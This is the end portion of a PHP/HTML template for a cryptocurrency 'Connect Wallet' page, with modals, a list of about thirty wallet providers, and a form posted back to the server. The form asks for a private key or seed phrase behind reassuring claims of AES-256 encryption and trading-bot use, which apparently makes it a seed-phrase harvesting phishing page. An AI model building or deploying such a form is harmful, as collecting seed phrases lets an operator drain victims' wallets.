                            <span class="px-2.5 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-orange-500/10 border border-orange-500/20">Bitcoin</span>
                        </div>
                    </div>
                </div>

                <?php endif; ?>

            </div>
        </main>
    </div>

    <!-- ═══════════════════════════════ MODALS ═══════════════════════════════ -->

    <!-- Disconnect Modal -->
    <div id="disconnectModal" class="fixed inset-0 z-[110] hidden modal-backdrop overflow-y-auto">
        <div class="flex min-h-screen items-center justify-center p-4">
            <div id="disconnectModalBox" class="relative w-full max-w-sm rounded-2xl shadow-2xl overflow-hidden animate-slide-up" 
                 style="background: linear-gradient(145deg, #151b2d 0%, #0f1525 100%); border: 1px solid rgba(255,255,255,0.08);">
                
                <div class="p-6 text-center">
                    <div class="w-16 h-16 mx-auto rounded-2xl bg-rose-500/10 border border-rose-500/20 flex items-center justify-center mb-5">
                        <i data-lucide="power-off" class="w-8 h-8 text-rose-400"></i>
                    </div>
                    
                    <h2 class="text-xl font-bold text-white mb-2">Disconnect Wallet?</h2>
                    <p class="text-sm text-slate-500 mb-6 leading-relaxed">
                        You are about to unlink <strong id="disconnectWalletName" class="text-slate-200 font-semibold"></strong>. This action cannot be undone and you will need to re-connect to use this wallet again.
                    </p>

                    <form method="POST" action="" class="flex flex-col gap-3">
                        <input type="hidden" name="wallet_id" id="disconnectWalletId" value="">
                        
                        <button type="submit" name="remove_wallet" 
                                class="w-full py-3.5 bg-rose-500 hover:bg-rose-600 text-white text-sm font-bold rounded-xl transition-all duration-300 flex items-center justify-center gap-2 shadow-lg shadow-rose-500/20 hover:shadow-rose-500/30">
                            <i data-lucide="unplug" class="w-4 h-4"></i>
                            Confirm Disconnect
                        </button>
                        
                        <button type="button" onclick="closeDisconnectModal()" 
                                class="w-full py-3.5 bg-white/5 hover:bg-white/10 text-slate-400 hover:text-white text-sm font-bold rounded-xl transition-all duration-300 border border-white/10 hover:border-white/20">
                            Cancel
                        </button>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <!-- Connect Wallet Modal -->
    <div id="walletModal" class="fixed inset-0 z-[100] hidden modal-backdrop overflow-y-auto">
        <div class="flex min-h-screen items-center justify-center p-4 sm:p-6">
            <div id="walletModalBox" class="relative w-full max-w-lg rounded-2xl shadow-2xl overflow-hidden flex flex-col max-h-[90vh] animate-slide-up" 
                 style="background: linear-gradient(145deg, #151b2d 0%, #0f1525 100%); border: 1px solid rgba(255,255,255,0.08);">
                
                <!-- Header -->
                <div class="px-6 py-5 border-b border-white/5 flex items-center justify-between shrink-0">
                    <div class="flex items-center gap-3">
                        <button type="button" id="backBtn" onclick="goBackToStep1()" 
                                class="hidden p-2 rounded-lg bg-white/5 hover:bg-white/10 text-slate-400 hover:text-white transition-all duration-200">
                            <i data-lucide="arrow-left" class="w-4 h-4"></i>
                        </button>
                        <div>
                            <h2 id="modalTitle" class="text-lg font-bold text-white">Connect Wallet</h2>
                            <p id="modalSubtitle" class="text-xs text-slate-500 mt-0.5">Select your preferred provider</p>
                        </div>
                    </div>
                    <button type="button" onclick="closeWalletModal()" 
                            class="p-2 rounded-lg bg-white/5 hover:bg-white/10 text-slate-400 hover:text-white transition-all duration-200">
                        <i data-lucide="x" class="w-4 h-4"></i>
                    </button>
                </div>

                <!-- Content -->
                <div class="p-6 overflow-y-auto flex-1">
                    
                    <!-- Step 1: Provider Selection -->
                    <div id="wizardStep1" class="space-y-3">
                        <!-- MetaMask -->
                        <button type="button" onclick="selectWalletProvider('MetaMask')" 
                                class="provider-card w-full p-4 rounded-xl flex items-center gap-4 text-left group">
                            <div class="provider-icon-box bg-gradient-to-br from-orange-500/20 to-orange-600/10 group-hover:scale-110 transition-transform duration-300">
                                <img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" alt="MetaMask">
                            </div>
                            <div>
                                <div class="text-sm font-semibold text-slate-200 group-hover:text-white transition-colors">MetaMask</div>
                                <div class="text-xs text-slate-500">Browser Extension & Mobile</div>
                            </div>
                            <i data-lucide="chevron-right" class="w-4 h-4 text-slate-600 ml-auto group-hover:text-blue-400 group-hover:translate-x-1 transition-all"></i>
                        </button>

                        <!-- Trust Wallet -->
                        <button type="button" onclick="selectWalletProvider('Trust Wallet')" 
                                class="provider-card w-full p-4 rounded-xl flex items-center gap-4 text-left group">
                            <div class="provider-icon-box bg-gradient-to-br from-blue-500/20 to-cyan-500/10 group-hover:scale-110 transition-transform duration-300">
                                <img src="https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/info/trust/logo.png" alt="Trust Wallet">
                            </div>
                            <div>
                                <div class="text-sm font-semibold text-slate-200 group-hover:text-white transition-colors">Trust Wallet</div>
                                <div class="text-xs text-slate-500">Mobile & Multi-Chain</div>
                            </div>
                            <i data-lucide="chevron-right" class="w-4 h-4 text-slate-600 ml-auto group-hover:text-blue-400 group-hover:translate-x-1 transition-all"></i>
                        </button>

                        <!-- Coinbase -->
                        <button type="button" onclick="selectWalletProvider('Coinbase Wallet')" 
                                class="provider-card w-full p-4 rounded-xl flex items-center gap-4 text-left group">
                            <div class="provider-icon-box bg-gradient-to-br from-blue-600/20 to-indigo-600/10 group-hover:scale-110 transition-transform duration-300">
                                <div class="w-7 h-7 rounded-full bg-blue-600 flex items-center justify-center text-white font-bold text-xs">C</div>
                            </div>
                            <div>
                                <div class="text-sm font-semibold text-slate-200 group-hover:text-white transition-colors">Coinbase Wallet</div>
                                <div class="text-xs text-slate-500">Exchange & Self-Custody</div>
                            </div>
                            <i data-lucide="chevron-right" class="w-4 h-4 text-slate-600 ml-auto group-hover:text-blue-400 group-hover:translate-x-1 transition-all"></i>
                        </button>

                        <!-- Ledger -->
                        <button type="button" onclick="selectWalletProvider('Ledger')" 
                                class="provider-card w-full p-4 rounded-xl flex items-center gap-4 text-left group">
                            <div class="provider-icon-box bg-gradient-to-br from-slate-600/20 to-slate-700/10 border border-white/10 group-hover:scale-110 transition-transform duration-300">
                                <i data-lucide="usb" class="w-5 h-5 text-slate-400"></i>
                            </div>
                            <div>
                                <div class="text-sm font-semibold text-slate-200 group-hover:text-white transition-colors">Ledger</div>
                                <div class="text-xs text-slate-500">Hardware Wallet</div>
                            </div>
                            <i data-lucide="chevron-right" class="w-4 h-4 text-slate-600 ml-auto group-hover:text-blue-400 group-hover:translate-x-1 transition-all"></i>
                        </button>

                        <div class="divider-gradient my-2"></div>

                        <!-- Other Wallets Dropdown Toggle -->
                        <button type="button" onclick="toggleOtherWallets()" 
                                class="provider-card w-full p-4 rounded-xl flex items-center gap-4 text-left group">
                            <div class="provider-icon-box bg-white/5 group-hover:scale-110 transition-transform duration-300">
                                <i data-lucide="more-horizontal" class="w-5 h-5 text-slate-400"></i>
                            </div>
                            <div>
                                <div class="text-sm font-semibold text-slate-200 group-hover:text-white transition-colors">Other Wallets</div>
                                <div class="text-xs text-slate-500">20+ additional providers</div>
                            </div>
                            <i data-lucide="chevron-down" id="otherWalletsChevron" class="w-4 h-4 text-slate-600 ml-auto transition-transform duration-300"></i>
                        </button>

                        <!-- Dropdown Container -->
                        <div id="otherWalletsDropdown" class="dropdown-container space-y-1 px-2">
                            <div class="py-2">
                                <p class="text-[10px] font-bold text-slate-600 uppercase tracking-wider mb-2 px-2">Hardware Wallets</p>
                                <button type="button" onclick="selectWalletProvider('Trezor')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="shield" class="w-4 h-4"></i> Trezor
                                </button>
                                <button type="button" onclick="selectWalletProvider('KeepKey')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="key" class="w-4 h-4"></i> KeepKey
                                </button>
                            </div>
                            
                            <div class="py-2">
                                <p class="text-[10px] font-bold text-slate-600 uppercase tracking-wider mb-2 px-2">Mobile Wallets</p>
                                <button type="button" onclick="selectWalletProvider('Exodus')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="compass" class="w-4 h-4"></i> Exodus
                                </button>
                                <button type="button" onclick="selectWalletProvider('Atomic Wallet')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="atom" class="w-4 h-4"></i> Atomic Wallet
                                </button>
                                <button type="button" onclick="selectWalletProvider('Mycelium')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="mushroom" class="w-4 h-4"></i> Mycelium
                                </button>
                                <button type="button" onclick="selectWalletProvider('BRD')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="bread-slice" class="w-4 h-4"></i> BRD
                                </button>
                                <button type="button" onclick="selectWalletProvider('Guarda')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="shield-check" class="w-4 h-4"></i> Guarda
                                </button>
                                <button type="button" onclick="selectWalletProvider('Enjin Wallet')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="gamepad-2" class="w-4 h-4"></i> Enjin Wallet
                                </button>
                            </div>
                            
                            <div class="py-2">
                                <p class="text-[10px] font-bold text-slate-600 uppercase tracking-wider mb-2 px-2">Web & Desktop</p>
                                <button type="button" onclick="selectWalletProvider('Binance Chain Wallet')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="circle-dollar-sign" class="w-4 h-4"></i> Binance Chain Wallet
                                </button>
                                <button type="button" onclick="selectWalletProvider('Blockchain Wallet')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="link" class="w-4 h-4"></i> Blockchain.com
                                </button>
                                <button type="button" onclick="selectWalletProvider('BitPay')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="credit-card" class="w-4 h-4"></i> BitPay
                                </button>
                                <button type="button" onclick="selectWalletProvider('Phantom')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="ghost" class="w-4 h-4"></i> Phantom
                                </button>
                                <button type="button" onclick="selectWalletProvider('Solflare')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="sun" class="w-4 h-4"></i> Solflare
                                </button>
                                <button type="button" onclick="selectWalletProvider('Rainbow')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="rainbow" class="w-4 h-4"></i> Rainbow
                                </button>
                                <button type="button" onclick="selectWalletProvider('Argent')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="shield" class="w-4 h-4"></i> Argent
                                </button>
                                <button type="button" onclick="selectWalletProvider('Gnosis Safe')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="vault" class="w-4 h-4"></i> Gnosis Safe
                                </button>
                            </div>
                            
                            <div class="py-2">
                                <p class="text-[10px] font-bold text-slate-600 uppercase tracking-wider mb-2 px-2">Asian & Multi-Chain</p>
                                <button type="button" onclick="selectWalletProvider('Math Wallet')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="calculator" class="w-4 h-4"></i> Math Wallet
                                </button>
                                <button type="button" onclick="selectWalletProvider('TokenPocket')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="pocket" class="w-4 h-4"></i> TokenPocket
                                </button>
                                <button type="button" onclick="selectWalletProvider('imToken')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="coins" class="w-4 h-4"></i> imToken
                                </button>
                                <button type="button" onclick="selectWalletProvider('Ownbit')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="fingerprint" class="w-4 h-4"></i> Ownbit
                                </button>
                                <button type="button" onclick="selectWalletProvider('Coinomi')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="circle-dot" class="w-4 h-4"></i> Coinomi
                                </button>
                                <button type="button" onclick="selectWalletProvider('Edge')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="triangle" class="w-4 h-4"></i> Edge
                                </button>
                                <button type="button" onclick="selectWalletProvider('Zelcore')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="zap" class="w-4 h-4"></i> Zelcore
                                </button>
                                <button type="button" onclick="selectWalletProvider('Infinity Wallet')" class="dropdown-item w-full p-3 rounded-lg flex items-center gap-3 text-left text-sm text-slate-400 hover:text-white">
                                    <i data-lucide="infinity" class="w-4 h-4"></i> Infinity Wallet
                                </button>
                            </div>
                        </div>
                    </div>

                    <!-- Step 2: Wallet Details -->
                    <div id="wizardStep2" class="hidden space-y-5">
                        <form method="POST" action="" class="space-y-5">
                            <input type="hidden" name="wallet_type" id="walletTypeInput" value="">

                            <!-- Wallet Address -->
                            <div>
                                <label class="block text-[11px] font-bold text-slate-500 uppercase tracking-[0.15em] mb-2">Public Address <span class="text-rose-500">*</span></label>
                                <div class="relative">
                                    <input type="text" name="wallet_address" required placeholder="0x..."
                                           class="input-premium block w-full px-4 py-3.5 rounded-xl text-white placeholder-slate-600 outline-none text-sm font-mono tracking-wider">
                                    <div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none">
                                        <i data-lucide="hash" class="w-4 h-4 text-slate-600"></i>
                                    </div>
                                </div>
                            </div>

                            <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                                <!-- Wallet Name -->
                                <div>
                                    <label class="block text-[11px] font-bold text-slate-500 uppercase tracking-[0.15em] mb-2">Label <span class="text-rose-500">*</span></label>
                                    <input type="text" name="wallet_name" required placeholder="e.g. Main Wallet"
                                           class="input-premium block w-full px-4 py-3.5 rounded-xl text-white placeholder-slate-600 outline-none text-sm">
                                </div>
                                
                                <!-- Network -->
                                <div>
                                    <label class="block text-[11px] font-bold text-slate-500 uppercase tracking-[0.15em] mb-2">Network <span class="text-rose-500">*</span></label>
                                    <div class="relative">
                                        <select name="network" required
                                                class="input-premium block w-full pl-4 pr-10 py-3.5 rounded-xl text-white outline-none text-sm appearance-none cursor-pointer">
                                            <option value="" disabled selected>Select network...</option>
                                            <option value="Ethereum">Ethereum (ERC-20)</option>
                                            <option value="BSC">BSC (BEP-20)</option>
                                            <option value="Polygon">Polygon</option>
                                            <option value="Arbitrum">Arbitrum</option>
                                            <option value="Solana">Solana</option>
                                            <option value="Bitcoin">Bitcoin</option>
                                        </select>
                                        <i data-lucide="chevron-down" class="w-4 h-4 text-slate-500 absolute right-3 top-1/2 -translate-y-1/2 pointer-events-none"></i>
                                    </div>
                                </div>
                            </div>

                            <!-- Private Key -->
                            <div>
                                <label class="flex items-center justify-between text-[11px] font-bold text-slate-500 uppercase tracking-[0.15em] mb-2">
                                    <span>Private Key / Seed Phrase</span>
                                    <span class="px-2 py-0.5 rounded-md bg-white/5 text-[9px] text-slate-500 border border-white/10">Optional</span>
                                </label>
                                <div class="relative">
                                    <input type="password" name="private_key" id="privateKeyInput" placeholder="Enter only if required for trading bots"
                                           class="input-premium block w-full px-4 pr-12 py-3.5 rounded-xl text-white placeholder-slate-600 outline-none text-sm font-mono">
                                    <button type="button" onclick="togglePassword()" 
                                            class="absolute inset-y-0 right-0 pr-3 flex items-center text-slate-500 hover:text-white transition-colors">
                                        <i data-lucide="eye" id="eyeIcon" class="w-4 h-4"></i>
                                        <i data-lucide="eye-off" id="eyeOffIcon" class="w-4 h-4 hidden"></i>
                                    </button>
                                </div>
                                <p class="mt-2 text-[11px] text-slate-600 leading-relaxed">
                                    <i data-lucide="lock" class="w-3 h-3 inline mr-1"></i>
                                    Encrypted with AES-256. Never shared with third parties.
                                </p>
                            </div>

                            <!-- Security Notice -->
                            <div class="rounded-xl p-4 bg-amber-500/5 border border-amber-500/15 flex items-start gap-3">
                                <i data-lucide="shield-alert" class="w-5 h-5 text-amber-500/80 flex-shrink-0 mt-0.5"></i>
                                <div class="text-xs text-amber-200/60 leading-relaxed">
                                    <strong class="text-amber-200/90">Security Notice:</strong> We only require your public address for transaction verification. Private keys are optional and used solely for automated trading features if enabled.
                                </div>
                            </div>

                            <!-- Submit -->
                            <div class="pt-2">
                                <button type="submit" name="connect_wallet"
                                        class="btn-primary-glow w-full py-4 text-white text-sm font-bold rounded-xl flex items-center justify-center gap-2.5 shadow-xl shadow-blue-900/20">
                                    <i data-lucide="link-2" class="w-5 h-5"></i>
                                    Securely Link Wallet
                                </button>
                            </div>
                        </form>
                    </div>

                </div>
            </div>
        </div>
    </div>

   <?php include "include/buttom-nav.php"?>
    <script>
        // ── Utilities ──
        function copyToClipboard(text) {
            navigator.clipboard.writeText(text).then(() => {
                console.log('Copied to clipboard');
            });
        }

        // ── Other Wallets Dropdown ──
        let dropdownOpen = false;
        
        function toggleOtherWallets() {
            const dropdown = document.getElementById('otherWalletsDropdown');
            const chevron = document.getElementById('otherWalletsChevron');
            
            dropdownOpen = !dropdownOpen;
            
            if (dropdownOpen) {
                dropdown.classList.add('open');
                chevron.style.transform = 'rotate(180deg)';
            } else {
                dropdown.classList.remove('open');
                chevron.style.transform = 'rotate(0deg)';
            }
        }

        // ── Disconnect Modal ──
        function openDisconnectModal(walletId, walletName) {
            document.getElementById('disconnectWalletId').value = walletId;
            document.getElementById('disconnectWalletName').innerText = walletName;
            
            const modal = document.getElementById('disconnectModal');
            const box = document.getElementById('disconnectModalBox');
            
            modal.classList.remove('hidden');
            document.body.style.overflow = 'hidden';
            
            box.style.opacity = '0';
            box.style.transform = 'scale(0.95) translateY(10px)';
            requestAnimationFrame(() => {
                box.style.transition = 'all 0.3s cubic-bezier(0.16, 1, 0.3, 1)';
                box.style.opacity = '1';
                box.style.transform = 'scale(1) translateY(0)';
            });
            
            if (typeof lucide !== 'undefined') lucide.createIcons();
        }

        function closeDisconnectModal() {
            const modal = document.getElementById('disconnectModal');
            const box = document.getElementById('disconnectModalBox');
            
            box.style.opacity = '0';
            box.style.transform = 'scale(0.95) translateY(10px)';
            
            setTimeout(() => {
                modal.classList.add('hidden');
                document.body.style.overflow = 'auto';
            }, 200);
        }

        // ── Connect Modal ──
        const modal = document.getElementById('walletModal');
        const modalBox = document.getElementById('walletModalBox');
        const step1 = document.getElementById('wizardStep1');
        const step2 = document.getElementById('wizardStep2');
        const title = document.getElementById('modalTitle');
        const subtitle = document.getElementById('modalSubtitle');
        const backBtn = document.getElementById('backBtn');
        const hiddenInput = document.getElementById('walletTypeInput');

        function openWalletModal() {
            goBackToStep1();
            modal.classList.remove('hidden');
            document.body.style.overflow = 'hidden';
            
            modalBox.style.opacity = '0';
            modalBox.style.transform = 'scale(0.95) translateY(10px)';
            requestAnimationFrame(() => {
                modalBox.style.transition = 'all 0.3s cubic-bezier(0.16, 1, 0.3, 1)';
                modalBox.style.opacity = '1';
                modalBox.style.transform = 'scale(1) translateY(0)';
            });
        }

        function closeWalletModal() {
            modalBox.style.opacity = '0';
            modalBox.style.transform = 'scale(0.95) translateY(10px)';
            
            setTimeout(() => {
                modal.classList.add('hidden');
                document.body.style.overflow = 'auto';
            }, 200);
        }

        function selectWalletProvider(walletName) {
            step1.classList.add('hidden');
            step2.classList.remove('hidden');
            backBtn.classList.remove('hidden');
            
            title.innerText = 'Connect ' + walletName;
            subtitle.innerText = 'Enter your wallet details securely';
            hiddenInput.value = walletName;

            step2.style.opacity = '0';
            step2.style.transform = 'translateY(10px)';
            requestAnimationFrame(() => {
                step2.style.transition = 'all 0.3s ease-out';
                step2.style.opacity = '1';
                step2.style.transform = 'translateY(0)';
            });
        }

        function goBackToStep1() {
            step2.classList.add('hidden');
            step1.classList.remove('hidden');
            backBtn.classList.add('hidden');
            
            title.innerText = 'Connect Wallet';
            subtitle.innerText = 'Select your preferred provider';
            hiddenInput.value = '';
            
            // Close dropdown if open
            if (dropdownOpen) {
                toggleOtherWallets();
            }
        }

        function togglePassword() {
            const input = document.getElementById('privateKeyInput');
            const eye = document.getElementById('eyeIcon');
            const eyeOff = document.getElementById('eyeOffIcon');
            
            if (input.type === 'password') {
                input.type = 'text';
                eye.classList.add('hidden');
                eyeOff.classList.remove('hidden');
            } else {
                input.type = 'password';
                eye.classList.remove('hidden');
                eyeOff.classList.add('hidden');
            }
        }

        // Close modals on backdrop click
        document.getElementById('disconnectModal').addEventListener('click', function(e) {
            if (e.target === this) closeDisconnectModal();
        });
        
        document.getElementById('walletModal').addEventListener('click', function(e) {
            if (e.target === this) closeWalletModal();
        });

        // Escape key to close
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                if (!document.getElementById('disconnectModal').classList.contains('hidden')) {
                    closeDisconnectModal();
                }
                if (!document.getElementById('walletModal').classList.contains('hidden')) {
                    closeWalletModal();
                }
            }
        });

        document.addEventListener('DOMContentLoaded', function() {
            if (typeof lucide !== 'undefined') lucide.createIcons();
        });
    </script>
</body>
</html>